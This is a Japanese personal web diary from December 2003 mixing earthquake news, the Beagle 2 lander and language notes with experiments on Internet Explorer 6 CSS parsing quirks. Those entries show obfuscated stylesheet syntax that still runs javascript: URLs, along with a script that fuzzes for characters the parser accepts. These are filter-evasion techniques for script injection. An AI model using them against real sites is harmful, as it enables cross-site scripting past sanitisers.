実験
上記のHTMLファイルを表示してみる
●「url」の省略形
IE6のスタイルシートでは「@import url("〜");」の「url」も(3文字しかないのに)末尾を省略できたりします。
hoshikuzuさんの「@の次に直接、nullコードに相当するスタイルシートエンコーディングをつけると、続くimportの文字がなくても、importと解する」も取り入れつつ、実験。素因数分解も、是非。
HTMLファイル
|
<style>
@\
u
("javascript:alert(document.styleSheets(0).cssText)");
</style>
|
ダイアログの表示(Windows XP + IE6 SP1)
|
@import url( javascript:alert(document.styleSheets(0).cssText) );
|
実験
上記のHTMLファイルを表示してみる
2003年12月23日(火)
●カリフォルニアの地震関連
現地時間22日午前11時15分頃(日本時間23日午前4時15分頃)、米カリフォルニア州中部で強い地震があり、パソ・ロブレスで街のシンボルだった1892年に建てられた時計台のある建物が崩壊し、巻き込まれた市民2人が死亡。地震の規模はM6.5、震源の深さは7.6km(4.7miles)。
Magnitude 6.5 - CENTRAL CALIFORNIA 2003 December 22 19:15:56 UTC(USGS)
Earthquake collapses historic building, killing 2(CNN.com US、12月22日)→
@nifty翻訳
地震: 米加州でM6.5 建物崩壊2人死亡(Mainichi INTERACTIVE、12月23日)
カリフォルニアでM6.5の地震、2人死亡、1人不明(asahi.com 国際、12月23日)
関連
Welcome to Paso Robles Downtown … パソ・ロブレスの時計台の大きい写真ほか
●コロンの代わりにイコールで区切る
スタイルシートでは属性名と設定値をコロン「:」で区切ることになっていますが、IE6ではコロンの代わりにイコール「=」で区切ることができます。コロンまたはイコールの手前には、「:」「=」「;」「</style>」または閉じていない「"〜"」「'〜'」を除く文字ならば英数字も含めて何を書いても無視されます。閉じている「"〜"」「'〜'」の内側では「</style>」以外のすべての文字が無視されます。
HTMLファイル
|
<style>
*body {
{ __background-image ': url(fake.jpg);' = url\("javascript:alert(document.styleSheets(0).cssText)")
}
</style>
|
ダイアログの表示(Windows XP + IE6 SP1)
|
BODY {
BACKGROUND-IMAGE: url(javascript:alert(document.styleSheets(0).cssText))
}
|
実験
上記のHTMLファイルを表示してみる
2003年12月24日(水)
●「:active」などの省略形
スタイルシートのキーワードの省略形の続き。「:active」→「:a」、「:hover」→「:h」、「:link」→「:l」、「:visited」→「:v」、「:first-letter」→「:f」、「:first-line」→「:first-li」。いずれも最短の場合で、これより長くても可。
HTMLファイル
|
<html>
<head>
<style>
<!--
a:a, a:h, a:l, a:v {
text-decoration: none;
}
p {
font-size: 200%;
}
p:f {
font-size: 200%;
}
p:first-li {
text-transform: uppercase;
}
-->
</style>
</head>
<body>
<p>A canner can can anything he can can.<br>But he can't can a can, can he?</p>
<textarea id="t" cols="80" rows="25"></textarea>
<script>
<!--
document.body.onload = function () {
t.value = document.styleSheets(0).cssText;
}
// -->
</script>
</body>
</html>
|
実験
上記のHTMLファイルを表示してみる
●アリスソフト アーカイブズ
RetroPC.NETさんにて、アリスソフトの「配布フリー宣言」の対象となったソフトウェアを公開する「アリスソフト アーカイブズ」というページが新設されました。
アリスソフト アーカイブズ(retropc.net)
「アリスソフト アーカイブズ」はアクセス制限にリファラを使用しているため、Norton Internet Security(以下、NIS)などで万全のセキュリティ対策を行っているとコンテンツにアクセスできない場合があります。NISの場合の暫定的な対策として、サーバ単位でリファラの使用を許可する方法が書かれているページを紹介しておきます。
NIS 2004の場合
参照元 (リファラ) が遮断され、Web サイトが正しく表示されない(シマンテック)
NIS 2003の場合
参照元 (リファラ) が遮断され、Web サイトが正しく表示されない(シマンテック)
NIS 2001/2002の場合
参照元 (リファラ) が遮断され、Web サイトが正しく表示されない(シマンテック)
2003年12月25日(木)
●Beagle 2
ESAのMars Expressから投下された火星着陸船Beagle 2ですが、予定時刻を過ぎても着陸成功を知らせる最初の信号が届かず、関係者をやきもきさせています。
Beagle 2 … Beagle 2公式サイト
Mission Status Center(Spaceflight Now)→
@nifty翻訳 … 最新情報
Life on Mars? A Beagle may find it(CNN.com Space、12月25日)
2003年12月26日(金)
●わりとどうでもいいスクリプト
IE6のスタイルシートの挙動を確認する作業を支援するために適当に書いたスクリプトです。@mediaに混ざっていても無視される文字やコロンの代わりに使える文字を探したときに使ったもので、ほとんど用済みですが、せっかく作ったので貼り付けておきます。「一部の文字が異なるスタイルシートを大量に生成して期待通りに動作するものを探す」という面倒な作業を機械的に行うことができて、main()を書き換えてリロードすることでいろいろなパターンをテストできます(大量のエラーが発生するのでエラーを通知しない設定にしておいたほうがよいです)。
|
<html>
<head>
</head>
<body>
<script>
<!--
//1つのドキュメントに割り当てられるスタイルシートの最大数
var STYLESHEETS_PER_DOCUMENT = 31;
//1つのスタイルシートに割り当てられるインポートの最大数
var IMPORTS_PER_STYLESHEET = 31;
//最後のスタイルシートの番号
var lastStyleSheetNumber = -1;
//最後のスタイルシートの最後のインポートの番号
var lastImportNumber = IMPORTS_PER_STYLESHEET - 1;
//スタイルシートのアドレスを追加する
function addStyleSheetAddress(address) {
//最後のインポートの番号を更新する
if (lastImportNumber >= IMPORTS_PER_STYLESHEET - 1) {
//最後のスタイルシートの番号を更新する
if (lastStyleSheetNumber >= STYLESHEETS_PER_DOCUMENT - 1) {
//スタイルシートが多すぎる
return;
}
document.createStyleSheet();
lastStyleSheetNumber++;
lastImportNumber = -1;
}
lastImportNumber++;
//スタイルシートのアドレスを追加する
try {
document.styleSheets(lastStyleSheetNumber).addImport(address);
} catch (e) {
}
}
//javascriptで1回評価すると指定された文字列になる文字列を返す
function javascriptEncode(s) {
return '"' + s.replace(/\\/g, '\\\\').replace(/"/g, '\\"') + '"';
}
//文字列をjavascriptプロトコルのアドレスに変換する
function javascriptProtocolEncode(s) {
return 'javascript:' + escape(javascriptEncode(s));
}
//スタイルシートのデータを追加する
function addStyleSheetData(data) {
if (data) {
addStyleSheetAddress(javascriptProtocolEncode(data));
}
}
//テストルーチンの本体
// data1とdata2をスタイルシートのデータとみなして交互に追加してゆく
// (1) n > endならば終了する
// (2) data1をスタイルシートのデータとみなして追加する
// (3) 10ms待つ
// (4) data2をスタイルシートのデータとみなして追加する
// このとき以下の変換を行う
// $c → 文字コードnの文字
// $d → nの値(10進数)
// $h → nの値(16進数)
// (5) 10ms待つ
// (6) nを1増やす
// (7) (1)に戻る
function testStyleSheets(data1, data2, n, end) {
if (n > end) {
return;
}
window.status = n;
addStyleSheetData(data1);
setTimeout('testStyleSheets2(' +
javascriptEncode(data1) + ', ' +
javascriptEncode(data2) + ', ' + n + ', ' + end + ')', 10);
}
function testStyleSheets2(data1, data2, n, end) {
var data = data2.replace(/\$./g,
function (s) {
var c = s.substr(1);
switch (c) {
case 'c':
return String.fromCharCode(n);
case 'd':
return n.toString(10);
case 'h':
return n.toString(16);
}
return c;
});
// putsln(n + ' ' + data);
addStyleSheetData(data);
setTimeout('testStyleSheets(' +
javascriptEncode(data1) + ', ' +
javascriptEncode(data2) + ', ' + (n + 1) + ', ' + end + ')', 10);
}
//textareaを探す
function getTextarea(n) {
return document.getElementsByTagName('textarea')(n);
}
//textareaに1行出力する
function putsln(s) {
getTextarea(0).value += s + '\n';
}
//自動実行エントリ
document.body.onload = function () {
getTextarea(0).value = '';
main();
}
//以下を変更してテストする
//属性名と設定値の区切りに使える文字を探す
function main() {
testStyleSheets(
'body { color: black }',
'body { color$c red; background: url(javascript:logger($d)) }',
0x00, 0x7f);
}
function logger(n) {
if (document.body.currentStyle.color == 'red') {
putsln(n.toString(16) + ' ' + String.fromCharCode(n));
}
}
// -->
</script>
<textarea cols="120" rows="40"></textarea>
</body>
</html>
|
●A canner ...
hoshikuzuさんから。この前の英文は昔聞いたものでうろ覚えなのですが、こんな感じだったと思います。
A canner can can anything he can can. But he can't can a can, can he?
缶詰工は缶詰にできるものなら何でも缶詰にすることができます。でも缶詰を缶詰にすることはできませんね。
canは助動詞の「〜できる」、
canは動詞の「缶詰にする」、
canは名詞の「缶詰」、最後の
can he?は付加疑問。
●素因数分解
数列
(7·10n-43)/9 = { 3, 73, 773, 7773, 77773, ... } の素因数分解表を n≤150 まで伸ばしました。未分解の数が17個残っています。
Factorizations of near-repdigit numbers
この数列の4494番目の数(4494桁)はおそらく素数です。
2003年12月27日(土)
●イラン大地震関連
現地時間の26日午前5時26分頃(日本時間の26日午前10時56分頃)、イラン南東部で大きな地震があり、死者は2万人以上、負傷者は5万人と伝えられています。震源はKermanの南東185km(北緯28.990度、東経58.288度)、深さ10km、規模はM6.5。1時間10分後にM5.4の余震と思われる地震が起きています。
USGS(米国地質調査所)
Magnitude 6.5 - SOUTHEASTERN IRAN 2003 December 26 01:56:52 UTC
Magnitude 5.4 SOUTHEASTERN IRAN 2003 December 26 03:06:13 UTC
ReliefWeb
Iran - Earthquake OCHA Situation Report No. 2(12月26日)→
@nifty翻訳
Iran: At least 20,000 killed as huge quake devastates historic city(12月26日)→
@nifty翻訳
International Federation of Red Cross and Red Crescent Societies (国際赤十字社・赤新月社)
Thousands feared killed as earthquake hits southeast Iran(12月26日)→
@nifty翻訳
CNN.com
Thousands feared dead after earthquake in Iran(12月26日)→
@nifty翻訳
The New York Times
Deadly Earthquake Jolts City in Southeast Iran(12月26日)→
@nifty翻訳
Mainichi INTERACTIVE
イラン地震: 死者は数千人に 3万人以上が負傷(12月27日)
イラン地震: 支援用意の声明 米大統領(12月27日)
イラン地震: 死者2万人超、負傷者も5万人 救助活動難航(12月27日)
asahi.com
イラン大地震(asahi.com ニュース特集)
首相「できる限りの支援を」とメッセージ イラン地震(12月27日)
毛布にくるまり泣く子供たち、中世の町が無残に イラン(12月27日)
イラン地震で国連や欧州各国から支援の手(12月27日)
イラン南東部で強い地震、死者5、6000人か(12月27日)
イラン地震で米が人道支援を発表(12月27日)
政府やNPOの緊急援助隊、被災地へ出発 イラン地震(12月27日)
イラン地震、死者2万人超の可能性も 氷点下、肉親捜索(12月27日)
ユネスコ、文化遺産調査団を派遣へ イラン地震(12月27日)
●英語の話
hoshikuzuさんから。cannerは缶詰を作る人、癌はcancerですね。蟹座はCancer。癌をcancerと呼ぶようになったのは乳癌の腫瘍とその周辺の様子が足を広げた蟹の姿に似ていたためだそうですが、英語ではcancerが蟹の意味で使われることは少ないようです。カニ料理のカニはcrab。カニ蒲はimitation crabと呼ばれて欧米でも人気があるようですが、美味しいカニ蒲もイミテーションなどと言われるといかにも模造品という感じで美味しそうに思えないのは日本人だからでしょうか。蒲鉾はkamabokoでも通じるようですが、加工の仕方によってsteamedだったりboiledだったりfriedだったりしてややこしいので、蒲鉾の仲間全般を指すときはsurimi-based productsなどと呼ぶようです。surimiの語源は言うまでもなく日本語の「すり身」です。sushiやtempuraのように直接口に入る食品ではない中間素材について日本語の名称が海外で使われているというのはちょっと不思議な感じがしますが、それだけ魚のすり身の加工技術が日本人の発明によるところが大きいということなのでしょう。
surimiをThe American Heritage Dictionary of the English Languageで検索
surimi(Bartleby.com)
surimiをFood and Wine Dictionaryで検索
surimi(International Recipes OnLine)→
@nifty翻訳
surimiをFDA(米国食品医薬品局)のサイトで検索
FDA Website Search Results(FDA)
蒲鉾についていろいろ書いてあるサイト
全国かまぼこ連合会
かまぼこの歴史
かまぼこの製造方法
かまぼこ製品図鑑
KA・MA・BO・KO
カマピー&チックル
●ループの上限について
hoshikuzuさんから。きのうのスクリプトのループの上限についてですが、条件に該当する文字が他に存在しないことを確認するためには、255までではなくて65535まで回す必要があると思います。実際、「空白とみなされる文字」は256番以降にも存在しますし。
●放送事故
フジテレビで放送事故が発生。
18時35分頃復旧。
原因は機械故障とのこと。
2003年12月28日(日)
●HTMLソースを隠すことについて
hoshikuzuさんから。「わざわざHTMLソースを隠すことに賛成しない」に同感です。HTMLソースを隠す方法と言われているものはいろいろありますが、一部の環境でHTMLソースを参照するのにかかる手間を少し増やす程度の効果しか得られないものばかりです。無理に効果を得ようとして閲覧できる環境を制限したのでは、何のためにホームページを公開したのかわからなくなってしまいます。ホームページを開設したならば、より多くの人に見てもらいたいものです。ホームページの趣旨と関係のないところで訪れる人が減ってしまうのはもったいないです。
メモ
mhtファイルはview-sourceプロトコルで直接参照できます。ProtWareのデモページの解読も見た目ほど手間はかかりません。技術的なことよりも法律的なことのほうが問題になるかも知れないので詳細は控えます。
2003年12月29日(月)
●Beagle 2
火星着陸船Beagle 2の着陸目標地点に直径1kmほどのクレーターが発見され、運悪くクレーター内に降りてしまったことが通信ができない理由ではないかと考えられているそうです。
Beagle 2 … Beagle 2公式サイト
Mission Status Center(Spaceflight Now)→
@nifty翻訳 … 最新情報
Scientists find obstacle at heart of Beagle landing zone(Spaceflight Now、12月29日)→
@nifty翻訳
Crater theory over missing Beagle(CNN.com Space、12月29日)→
@nifty翻訳
2003年12月30日(火)
●イラン大地震
26日にイランで起きた大地震の犠牲者は既に2万8000人に上り、最終的に5万人に達する可能性があるとのこと。
イラン大地震: 死者5万人か 過去25年間で世界最大規模に(Mainichi INTERACTIVE、12月30日)
【イラン大地震】(asahi.com : ニュース特集)
●釧路沖の地震
きょう10時31分頃に北海道で起きた震度5弱の地震は、気象庁の発表によると震源は釧路沖、深さ40km、M6.0。USGSのデータでは深さ33km、M6.1。
Magnitude 6.1 HOKKAIDO, JAPAN REGION 2003 December 29 01:30:54 UTC(USGS)
●ロイヤリティ諸島の近海の地震
ニューカレドニアのロイヤリティ諸島の南東の海底でも地震が頻発。いずれも震源の深さは10km程度で、規模が最大のものはM7.3。
Magnitude 6.5 SOUTHEAST OF THE LOYALTY ISLANDS 2003 December 25 20:42:33 UTC(USGS)
Magnitude 6.0 SOUTHEAST OF THE LOYALTY ISLANDS 2003 December 25 23:09:43 UTC(USGS)
Magnitude 5.3 SOUTHEAST OF THE LOYALTY ISLANDS 2003 December 25 23:13:21 UTC(USGS)
Magnitude 6.8 SOUTHEAST OF THE LOYALTY ISLANDS 2003 December 26 21:26:03 UTC(USGS)
Magnitude 6.1 SOUTHEAST OF LOYALTY ISLANDS 2003 December 27 04:55:25 UTC(USGS)
Magnitude 7.3 - SOUTHEAST OF THE LOYALTY ISLANDS 2003 December 27 16:01:00 UTC(USGS)
Magnitude 6.7 SOUTHEAST OF LOYALTY ISLANDS 2003 December 27 22:38:01 UTC(USGS)
Magnitude 6.3 SOUTHEAST OF LOYALTY ISLANDS 2003 December 27 22:55:01 UTC(USGS)
Magnitude 5.3 SOUTHEAST OF LOYALTY ISLANDS 2003 December 28 05:15:26 UTC(USGS)
Magnitude 5.7 SOUTHEAST OF THE LOYALTY ISLANDS 2003 December 29 11:48:42 UTC(USGS)
2003年12月31日(水)
●2003年に起きた地震
USGS(米国地質調査所)のまとめによると、2003年に世界各地で発生したM7以上の地震は15回。放出されたエネルギーが最も大きかったのは
9月26日に北海道で震度6弱を2回記録し1mを越える津波も観測された03年十勝沖地震の本震でM8.3。余震もM7.4。
5月26日に発生した宮城県沖を震源とする震度6弱の地震はM7.0。それからこの日記では取り上げなかったが10月31日に宮城県北部で震度4が記録され30cmの津波が観測された地震がM7.0。日本に直接影響のあったM7以上の地震は以上の4回。
2003年に世界各地で発生した地震で犠牲者の数が最も多かったのは言うまでもなく12月26日のイラン大地震で、死者は2万8000人以上。この地震は規模がM6.5と前述の地震よりも小さかったが、多くの人々が生活する街の直下で発生したため甚大な被害が生じた。犠牲者の数が次に多かったのは
5月21日のアルジェリア北部の地震(M6.8)で死者は2266人。
参考
Earthquakes, Magnitude 7 and Greater, in 2003(USGS)